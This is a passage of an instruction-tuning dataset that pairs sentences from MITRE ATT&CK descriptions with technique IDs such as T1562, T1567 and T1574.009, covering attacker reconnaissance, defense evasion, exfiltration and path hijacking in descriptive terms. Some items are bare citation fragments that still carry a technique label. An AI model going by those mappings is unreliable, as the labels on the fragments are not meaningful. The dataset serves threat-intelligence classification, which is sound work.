T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software.", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019s pages and directories.(Citation:", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019s pages and directories.(Citation: ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ClearSky Lebanese Cedar Jan 2021)", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ClearSky Lebanese Cedar Jan 2021) ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)). ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation:", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "S3Recon", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: S3Recon ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub)(Citation: GCPBucketBrute)", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub)(Citation: GCPBucketBrute) ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders\u2019 awareness of malicious activity.(Citation:", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders\u2019 awareness of malicious activity.(Citation: ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system.", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident. ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can also present a \u201chealthy\u201d system status even after infection.", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can also present a \u201chealthy\u201d system status even after infection. ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be abused to enable further malicious activity by delaying defender responses.", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be abused to enable further malicious activity by delaying defender responses. ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may show a fake Windows Security GUI and tray icon with a \u201chealthy\u201d system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may show a fake Windows Security GUI and tray icon with a \u201chealthy\u201d system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta) ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage Microsoft Office-based applications for persistence between startups.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage Microsoft Office-based applications for persistence between startups. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SensePost Ruler GitHub)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SensePost Ruler GitHub) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These persistence mechanisms can work within Outlook or be used through Office 365.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet O365 Outlook Rules)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet O365 Outlook Rules) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system.", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders.", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened.", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page) ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started.", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)", "output": "T1137.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page) ### Response: T1137.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", "output": "T1573", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. ### Response: T1573."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.", "output": "T1573", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files. ### Response: T1573."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This ensures that only the intended recipient can read the encrypted data.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This ensures that only the intended recipient can read the encrypted data. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common public key encryption algorithms include RSA and ElGamal.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common public key encryption algorithms include RSA and ElGamal. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002). ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Firewall rules may also already exist to permit traffic to these services.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Firewall rules may also already exist to permit traffic to these services. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel.", "output": "T1567.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. ### Response: T1567.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.", "output": "T1567.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet. ### Response: T1567.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of cloud storage services include Dropbox and Google Docs.", "output": "T1567.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of cloud storage services include Dropbox and Google Docs. ### Response: T1567.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.", "output": "T1567.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ### Response: T1567.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may transfer tools or other files between systems in a compromised environment.", "output": "T1570", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may transfer tools or other files between systems in a compromised environment. ### Response: T1570."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105))", "output": "T1570", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) ### Response: T1570."}{"instruction": "List the MITRE techniques contained in the text.", "input": "files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.", "output": "T1570", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. ### Response: T1570."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)", "output": "T1570", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019) ### Response: T1570."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095).", "output": "T1570", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). ### Response: T1570."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation:", "output": "T1570", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: ### Response: T1570."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dropbox Malware Sync)", "output": "T1570", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dropbox Malware Sync) ### Response: T1570."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>).", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Help eliminate unquoted path) (stored in Windows Registry keys)", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable.", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques 